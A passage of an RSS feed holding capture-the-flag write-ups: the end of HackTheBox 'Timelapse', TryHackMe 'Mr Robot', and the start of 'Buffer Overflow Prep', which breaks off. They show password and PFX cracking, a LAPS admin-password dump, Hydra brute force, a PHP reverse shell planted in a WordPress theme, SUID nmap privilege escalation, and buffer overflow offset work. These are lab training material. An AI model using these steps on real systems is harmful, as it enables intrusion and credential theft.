&#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>**supremelegacy**    (winrm_backup.zip/legacyy_dev_auth.pfx)     <br>1g 0:00:00:07 DONE (2022-07-02 17:25) 0.1340g/s 465055p/s 465055c/s 465055C/s surkerior..suppamas<br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed.</pre><p>Password : <strong>supremelegacy</strong></p><p>Enter the password and it will give us a file named : legacyy_dev_auth.pfx</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DElTuMekq0bZBwrfzheU1g.png" /></figure><p>UPON SEARCHING</p><p>I found out that .pfx file is a file that contains openssl certificate</p><p>Let’s try to open it in our system :</p><pre>open legacyy_dev_auth.pfx</pre><p>But it is password protected :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wm-1vcbtGLaSL7XOKZKySg.png" /></figure><h4>PFX Cracking</h4><pre># We have a tool for this in the john series : pfx2john<br>/usr/share/john/pfx2john.py legacyy_dev_auth.pfx &gt; legacyy_dev_auth_pfx.txt</pre><p>This will generate a hash which will be stored in legacyy_dev_auth_pfx.txt file</p><p>Crack this using simple john the ripper tool command</p><pre>john --wordlist=/usr/share/wordlists/rockyou.txt legacyy_dev_auth_pfx.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iA21ZSoFyLxZqJcJ5JYaWw.png" /></figure><p>So the cracked password is : thuglegacy</p><p>Now our pfx file contains the keys so we need to extract it. Upon searching I got an official IBM documentation to do this :</p><p><a href="https://www.ibm.com/docs/en/arl/9.7?topic=certification-extracting-certificate-keys-from-pfx-file">Extracting the certificate and keys from a .pfx file</a></p><pre># For private key <br>openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out private.key</pre><p>We will get our key in file called private.key</p><pre># For certificate<br>openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -out key.crt</pre><p>We will get our certificate in a file called key.crt</p><p>Now we have both our files :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1NCD_qX-L72ejayjbi2UJQ.png" /></figure><h4>We need to find a way to connect to our system using these keys and certs</h4><p>Let’s look again on our NMAP results nothing in our previous scan results</p><p>let’s perform a port scan once more but for all the ports →</p><pre>nmap -p- -oN tcpfullscan.nmap 10.10.11.152</pre><p>OUTPUT :</p><pre>Nmap scan report for 10.10.11.152<br>Host is up (0.23s latency).<br>Not shown: 65517 filtered tcp ports (no-response)<br>PORT      STATE SERVICE<br>53/tcp    open  domain<br>88/tcp    open  kerberos-sec<br>135/tcp   open  msrpc<br>139/tcp   open  netbios-ssn<br>389/tcp   open  ldap<br>445/tcp   open  microsoft-ds<br>464/tcp   open  kpasswd5<br>593/tcp   open  http-rpc-epmap<br>636/tcp   open  ldapssl<br>3268/tcp  open  globalcatLDAP<br>3269/tcp  open  globalcatLDAPssl<br>5986/tcp  open  wsmans<br>9389/tcp  open  adws<br>49667/tcp open  unknown<br>49673/tcp open  unknown<br>49674/tcp open  unknown<br>49696/tcp open  unknown<br>62349/tcp open  unknown</pre><pre>Nmap done: 1 IP address (1 host up) scanned in 1016.55 seconds</pre><p>now we will check each of these ports for what service they are running</p><p>port : 5986 <strong>wsmans</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vdN0TivTKFnXu23CJ0ASag.png" /></figure><p>So we have our service here →</p><p>For accessing this service we will use : evil-winrm</p><pre>evil-winrm -i 10.10.11.152 -u &quot;&quot; -p &quot;thuglegacy&quot; -c key.crt -k private.key -S</pre><p>WOHO!!!! We have our shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F_ZU_a4TIFDfPWpgfSOk5w.png" /></figure><p>Now on the desktop of legacyy we have our user.txt file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bJSJn91LPXrVjMfnR0Escg.png" /></figure><h4>PRIV ESCALATION</h4><p>It’s a windows machine so let’s perform a basic scan using Winpeas</p><p>First check the architecture using : $Env:PROCESSOR_ARCHITECTURE in powershell.</p><p>In our case our architecture is x64 now download the winpeas.exe (64-bit) from official Github repo:</p><p><a href="https://github.com/carlospolop/PEASS-ng/releases/tag/20220626">Release Release refs/heads/master 20220626 · carlospolop/PEASS-ng</a></p><p>After Running I found a Powershell History file (Console_history.txt) on Path</p><pre>C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*nJ8gbaK7T2vd4B9aBurhJw.png" /></figure><p>Reading the history file</p><pre>whoami<br>ipconfig /all<br>netstat -ano |select-string LIST<br>$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck<br>$p = ConvertTo-SecureString &#39;E3R$Q62^12p7PLlC%KWaxuaV&#39; -AsPlainText -Force<br>$c = New-Object System.Management.Automation.PSCredential (&#39;svc_deploy&#39;, $p)<br>invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {whoami}<strong><br></strong>get-aduser -filter * -properties *<br>exit</pre><p>We only need to focus on the commands below</p><pre>$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck<br>$p = ConvertTo-SecureString &#39;E3R$Q62^12p7PLlC%KWaxuaV&#39; -AsPlainText -Force<br>$c = New-Object System.Management.Automation.PSCredential (&#39;svc_deploy&#39;, $p)<br>invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {whoami}</pre><p>Here we can observe that we are creating a new Powershell session to login as another user and we are executing the command on another user’s behalf</p><p>Let’s check this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Av7q_qsvHZ5mYx3E0-GSEQ.png" /></figure><p>Verified, so we can execute the command as user timelapse/svc_deploy</p><p>Let’s check the permissions of this account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RKYETYb1gUTh84kEOdKiAA.png" /></figure><p>So our new user is also a member of LAPS_Readers. I searched on google about this and I found out this :</p><p><a href="https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/you-might-want-to-audit-your-laps-permissions/ba-p/2280785">https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/you-might-want-to-audit-your-laps-permissions/ba-p/2280785</a></p><p>Let’s get the admin password for our PC</p><pre>invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {Get-ADComputer -Filter * -Properties MS-Mcs-AdmPwd}</pre><p>This will list the admin passwords for all the Local Admins (It was simple than I thought)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*PTeqMXYiYAAYs58j9OvzuA.png" /></figure><p>here is the password which we needed let’s try doing a evil-winrm using this password</p><pre>evil-winrm -u &#39;Administrator&#39; -p &#39;k+%dj6,**********GpemZM0&#39; -i 10.10.11.152  -S</pre><p>We got Admin access on the machine !!!!</p><p>(This password will not be same for you so don’t try to copy :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*IVOXwWgu8oiJQ1tm7JJwoQ.png" /></figure><p>On TRX’s Desktop we will find the root.txt flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nZcz7s06Lm3rncYWlvVLgg.png" /></figure><h3>PWNED 🎉</h3><p>Over all it was an amazing machine and the process involved is one of it’s own kind that’s what i love in HTB boxes 💚</p><h3>👨‍💻 🚀</h3><p>Keep Trying, Keep Working :)</p><p>Please write in comments if there is a more efficient way to do this. Every feedback is precious.</p><h3>Thank You</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c407decbefca" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/timelapse-hackthebox-c407decbefca">Timelapse ⏰</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mr Robot CTF | TryHackMe]]></title>
            <link>https://systemweakness.com/mr-robot-ctf-tryhackme-a82129fb356f?source=rss-264f7680dd06------2</link>
            <guid isPermaLink="false">https://medium.com/p/a82129fb356f</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Arun Jangra]]></dc:creator>
            <pubDate>Thu, 30 Jun 2022 17:58:09 GMT</pubDate>
            <atom:updated>2022-07-05T04:17:41.841Z</atom:updated>
            <content:encoded><![CDATA[<p>Mr. Robot CTF is a Mr. Robot-themed room on TryHackMe. It involves basic recon and it will give you a start on WordPress vulnerabilities if you are new to Web exploitation (WordPress Vulnerability → Reverse Shell).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JxS2ahDMFmYwSrNmKFYtCA.jpeg" /><figcaption>Source : <a href="https://wallpapercave.com/w/wp4507667">https://wallpapercave.com/w/wp4507667</a> (I don’t own this asset)</figcaption></figure><p>So let’s begin there is so much to learn.<br>Here is the link for the box if you want to follow along:<br>Link: <a href="https://tryhackme.com/room/mrrobot">https://tryhackme.com/room/mrrobot</a><br>Machine Used: Kali Linux</p><p>давай 🚀</p><h4>Basic Recon</h4><p>NMAP :</p><pre>nmap -sC -sV 10.10.77.40</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MWYf_vna2FW92y2KTQmLIQ.png" /></figure><p>visit website on port 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wBS1-spyTiwvb1a8zNmHZQ.png" /></figure><p>Let’s do a little gobuster scan on the website so we can find any hidden links</p><pre>gobuster dir -u http://10.10.77.40 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</pre><p>Now we found some amazing routes let’s check these →</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cwQszo8DM0CwoMF1iL-ezg.png" /></figure><p>CHECKING /robots route →</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TXd2hPPWsFb2gAdVU1fAtg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ptOUhkEYZjEjJHecfqPruQ.png" /></figure><h4>We got our 1st Key 🔑</h4><p>Now after checking the routes we know that it is a wordpress website now we need to find more :</p><p>After exploring the routes we got our wordpress version in a rss file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z-twEcU7WEjqRn1_h2a1Vg.png" /></figure><p>Let’s perform a wp-scan on the website</p><pre>wpscan --url &lt;http://10.10.77.40&gt; --passwords /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pcLaKRTEDyJDTV7IKT_ZrA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dLakxjuoO72yER7zRbjlGA.png" /></figure><p>Now here as we can see is there is a vulnerability in the themes in wordpress and if we are able to login into our wordpress portal then we will be able to exploit this vulnerability to get a reverse shell on our system.</p><p>Try Hydra</p><pre>hydra -v -V -l admin -P /usr/share/wordlists/rockyou.txt 10.10.77.40 http-post-form &quot;/wp-login.php:log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log+In&amp;redirect_to=https%3A%2F%2F10.10.77.40%2Fwp-admin%2F&amp;testcookie=1:Invalid username&quot;</pre><p>With admin i got nothing</p><p>Now i remembered that there was a dic file when i was checking the /robots route Let’s download that dictionary file and try brute force using that dictionary</p><pre>wget http://10.10.173.91/fsocity.dic</pre><p>Let’s check for our username</p><pre>hydra -v -V -L fsocity.dic -p test 10.10.173.91 http-post-form &quot;/wp-login.php:log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log+In&amp;redirect_to=https%3A%2F%2F10.10.173.91%2Fwp-admin%2F&amp;testcookie=1:Invalid username&quot;</pre><p>From this we found our username as <strong>Elliot</strong></p><p>Now we need to do it for our password</p><pre>hydra -l Elliot -P fsocity.dic 10.10.173.91 http-post-form &quot;/wp-login.php:log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log+In&amp;redirect_to=http%3A%2F%2F10.10.173.91%2Fwp-admin%2F&amp;testcookie=1:The password you entered for the username&quot;</pre><p>From this we got our password as <strong>ER28–0652</strong></p><p>Now let’s login into wordpress login and get our reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jgPNS2B-LtiEPVEx4ZvknQ.png" /></figure><p>Now we need to find a way to get reverse shell I have came across this vulnerability previously also so I will go straight to it and here is the resource for you to refer :</p><p><a href="https://www.hackingarticles.in/wordpress-reverse-shell/">WordPress: Reverse Shell - Hacking Articles</a></p><p>Now use pentest monkey’s PHP reverse shell template</p><p><a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell</a></p><p>Now we will copy this and paste it in our website’s 404.php of our twentyfifth theme</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ogIV7YqnoqW1YSP6TZqmYA.png" /></figure><p>Start a netcat listener on port 4444</p><pre>nc -lvnp 4444</pre><p>Now we will visit this link</p><pre>&lt;http://10.10.85.59/wordpress/wp-content/themes/twentyfifteen/404.php&gt;</pre><p>And we have our shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_eI5NClwRD-VmC-h2Q_Uzg.png" /></figure><p>Now in robot user we have a file which we cannot access and a password file which we can read which is actually the password for the user robot now we need to crack this hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*quIhxMs7FXc8PkY3UEPWFQ.png" /></figure><p>We will use john the ripper and save the password hash in a file called pass.txt</p><pre>john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 pass.txt</pre><p>Hash : c3fcd3d76192e4007dfb496cca67e13b</p><p>Now we get our password as : abcdefghijklmnopqrstuvwxyz</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hLvikJZL4B8R-A9IlDwUDQ.png" /></figure><p>Now we will switch our user to robot using the obtained password</p><p>But we will try to ssh into the system first using our profile</p><pre>ssh robot@10.10.85.59</pre><p>Connection refused</p><p>So we will spawn our bin/bash here only using python</p><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Now we will switch user</p><pre>su robot<br># Enter the password -&gt;</pre><p>We got our second key now let’s find another one →</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jhasvalRvos-KXzlOQGqvw.png" /></figure><h4>We got our 2nd Key 🔑</h4><p>We need to escalate our privilege in order to access file in root so our basic approach is to first list all the suid files in our system and check on gtfobins →</p><pre>find / -perm -u=s -type f 2&gt;/dev/null</pre><p>OUTPUT →</p><pre>/bin/ping<br>/bin/umount<br>/bin/mount<br>/bin/ping6<br>/bin/su<br>/usr/bin/passwd<br>/usr/bin/newgrp<br>/usr/bin/chsh<br>/usr/bin/chfn<br>/usr/bin/gpasswd<br>/usr/bin/sudo<br><strong>/usr/local/bin/nmap</strong><br>/usr/lib/openssh/ssh-keysign<br>/usr/lib/eject/dmcrypt-get-device<br>/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper<br>/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper<br>/usr/lib/pt_chown</pre><p>Search GTFObins for <strong>nmap</strong> because it looks sus here</p><p><a href="https://gtfobins.github.io/gtfobins/nmap/">nmap | GTFOBins</a></p><p>We found to access the root shell we can :</p><pre>robot@linux:/usr/local/bin$ nmap --interactive<br>nmap --interactive</pre><pre>Starting nmap V. 3.81 ( &lt;http://www.insecure.org/nmap/&gt; )<br>Welcome to Interactive Mode -- press h &lt;enter&gt; for help<br>nmap&gt; !sh<br>!sh<br># ls<br>ls<br>nmap<br># cd /root<br>cd /root<br># ls<br>ls<br>firstboot_done  key-3-of-3.txt<br># cat key-3-of-3.txt<br>xxxxxxxxxxxxxxxxxxxxxxxxxxxx</pre><p>Success and we have our third key also →</p><h4>We got our 3rd Key 🔑</h4><h3>PWNED 🎉</h3><h3>👨‍💻 🚀</h3><p>Keep Trying, Keep Working :)</p><p>Please write in comments if there is a more efficient way to do this. Every feedback is precious.</p><h3>Thank You</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a82129fb356f" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/mr-robot-ctf-tryhackme-a82129fb356f">Mr Robot CTF | TryHackMe</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Buffer Overflow Prep]]></title>
            <link>https://systemweakness.com/buffer-overflow-prep-tryhackme-6ec0573f3125?source=rss-264f7680dd06------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ec0573f3125</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[buffer-overflow]]></category>
            <dc:creator><![CDATA[Arun Jangra]]></dc:creator>
            <pubDate>Thu, 02 Jun 2022 15:50:56 GMT</pubDate>
            <atom:updated>2022-06-03T08:01:30.421Z</atom:updated>
            <content:encoded><![CDATA[<h4>TryHackMe</h4><p>Buffer Overflow Prep is the Room on TryHackMe to practice buffer overflow vulnerability and how to exploit it. It is also an important topic in OSCP exam (yeah I aim for that) and in general also a fun topic. Here I will use the method learned from Heath Adam’s TCM security and It involves doing most of the work yourself and not relying much on a tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hOnErZwm27G0SBD62h15Bw.png" /></figure><p>So let’s begin there is so much to learn.<br>Here is the link for the box if you want to follow along:<br>Link: <a href="https://tryhackme.com/room/bufferoverflowprep#">https://tryhackme.com/room/bufferoverflowprep</a><br>Machine Used: Kali Linux</p><p>Here I will show you the process of solving only one Buffer Overflow which is <strong>OVERFLOW1</strong> and rest are also similar.</p><p>давай 🚀</p><p><strong>xfreerdp</strong> : To access the windows machine as a low privileged user</p><pre>xfreerdp /u:admin /p:password /cert:ignore /v:10.10.155.97 /workarea</pre><p>Now open oscp.exe file in immunity debugger on our windows machine.<br>It will look something like this after running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kwXLYY2gknBjfmn5uB-cqA.png" /></figure><p>Now connect to the running service in our attacker machine using netcat at port 1337</p><pre>nc 10.10.155.97 1337</pre><p>Now we will have something like this in our terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YtVpxLp7tmDFmvnSaIZHRw.png" /></figure><h4>(Always remember to run the program again after paused by the overflow condition)</h4><p>Now test it using some random value</p><pre>OVERFLOW1 test</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f53_zuMGELCuiLPb0Y951w.png" /></figure><p>. &gt; OVERFLOW1 COMPLETE</p><p>Now we will try fuzzing our overflow for this we will use our python3 script (this is the method i learnt from cyber mentor in his buffer overflow series)</p><p>Fuzzer.py</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/5a606b6885cb6710ae02aa23002735b1/href">https://medium.com/media/5a606b6885cb6710ae02aa23002735b1/href</a></iframe><p>OUTPUT →</p><pre>root@kali:~/Overflows/OVERFLOW1# python3 fuzz.py  <br>100 <br>200 <br>300 <br>400 <br>500 <br>600 <br>700 <br>800 <br>900 <br>1000 <br>1100 <br>1200 <br>1300 <br>1400 <br>1500 <br>1600 <br>1700 <br>1800 <br>1900 <br>2000 <br>^CFuzzing stopped at 2100</pre><p>Now we know a limit (around 2100) we can also check our immunity debugger and we will see that there is an error and there are changes in the memory stack we can notice and our program is stopped</p><p>Now here notice the A’s and notice EIP in the stack and we see here something as 41414141</p><p>which is AAAA therefore our buffer is exploitable as we can access the EIP of the stack →</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zf2-_TvU8O0PP9LNi08JCg.png" /></figure><p>Now we will create a pattern of bytes and send it using our script and then we will be able to know the proper location of our offset and we can do something actually malicious from this vulnerability.</p><pre>./pattern_create.rb -l 2200  <br># 2200 because our program was paused at 2100 (taking extra 100 bytes for better safety &amp; result)  <br># RESULT -&gt;  </pre><pre>Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2C</pre><pre># Create a script called Offset.py</pre><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/3c21b0a52810c4310a25ff85de84ff82/href">https://medium.com/media/3c21b0a52810c4310a25ff85de84ff82/href</a></iframe><pre>python3 Offset.py</pre><p>Now check our immunity debugger it will have strange bytes in front of EIP in stack.<br>Notice these bytes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dhTucaoqsIG9X20lXmnDyA.png" /></figure><p>Note these bytes somewhere :</p><p><strong>6F43396E</strong></p><p>Now we will check what is the offset</p><pre>./pattern_offset.rb -l 2200 -q 6F43396E</pre><pre># OUTPUT -&gt;</pre><pre>[*] Exact match at offset 1978</pre><p>Now check if this offset is correct →</p><p>we will write a Check_Offset.py script</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/3ce6a57b7341595969543d3ec3282afc/href">https://medium.com/media/3ce6a57b7341595969543d3ec3282afc/href</a></iframe><p>→ Now if our offset is correct then we will get 42424242 in front of EIP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Ezmp6bsa5YTB5EBamJckA.png" /></figure><p>Woho 🎉 we are able to get correct offset and now one last step is there to do before we get the root shell of the machine in our system.</p><p><strong>Getting Bad Chars</strong></p><p>Bad chars list :</p><p><a href="https://github.com/cytopia/badchars">GitHub - cytopia/badchars: Bad char generator to instruct encoders such as shikata-ga-nai to transform those to other chars.</a></p><p>Let’s write another script Badchars.py and then we will move further</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/6fe1deb66b0c82e7af48d18e57b12f0b/href">https://medium.com/media/6fe1deb66b0c82e7af48d18e57b12f0b/href</a></iframe><p>Now run the script and got to the immunity debugger and right click on the bit with ESP and select follow in dump.<br>Now we need to focus on this and see if there is anything funny here</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*q0P2H3vZGFpn-hhUW_0F8A.png" /></figure><p>As we can see here the badchars are</p><pre>\x07 \x08 \x2E \x2F \xA0 \xA1</pre><p>Now try all these or can only write the even ones because first bad char affect the next one (and it may not be the bad char at all)</p><p>and add \x00 in front. So total badchars</p><pre>\x00 \x07 \x2E \xA0</pre><p>Now we need to find the perfect module to exploit →</p><p>We will use mona here. In the command box in immunity debugger write</p><pre>!mona modules</pre><p>We need to select module with all the features set to false and note the address of that module</p><p>Here we found one .dll file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6fCuS1f4mr4NVGGRtAQE4A.png" /></figure><p>Note the module name : essfunc.dll</p><p>Now we need to find the address when this program will jump out of ESP for that we can use nasm shell to find the hex equivalent</p><pre>nasm &gt; JMP ESP</pre><pre>00000000        FFE4     jmp esp</pre><p>Now the code is “\xff\xe4”</p><p>Now we will the address that we need →</p><p>in the command tab below in the immunity debugger we will write</p><pre>!mona find -s &quot;\xff\xe4&quot; -m essfunc.dll</pre><p>And here we have the address that we need →</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zPxHf-WyWJNuZDcpxBLo-w.png" /></figure><p><strong>625011AF</strong></p><p>Now we have our address now we will write a script to verify this →</p><p><strong>STEP 1.</strong></p><p>Enter the address to follow in immunity debugger as <strong>625011AF</strong></p><p>Click on the blue arrow in taskbar at the top and a dialog box will appear and write your address in it and click OK.</p><p>Now add the breakpoint here by pressing F2 and it will be highlighted</p><p>→ What this will do is when the program will hit this address then it will break and will take further instructions from us</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I28RgRh3-9exUu4Hx7jzTA.png" /></figure><p><strong>STEP 2.</strong></p><p>Write the script Check_Breakpoint.py</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a 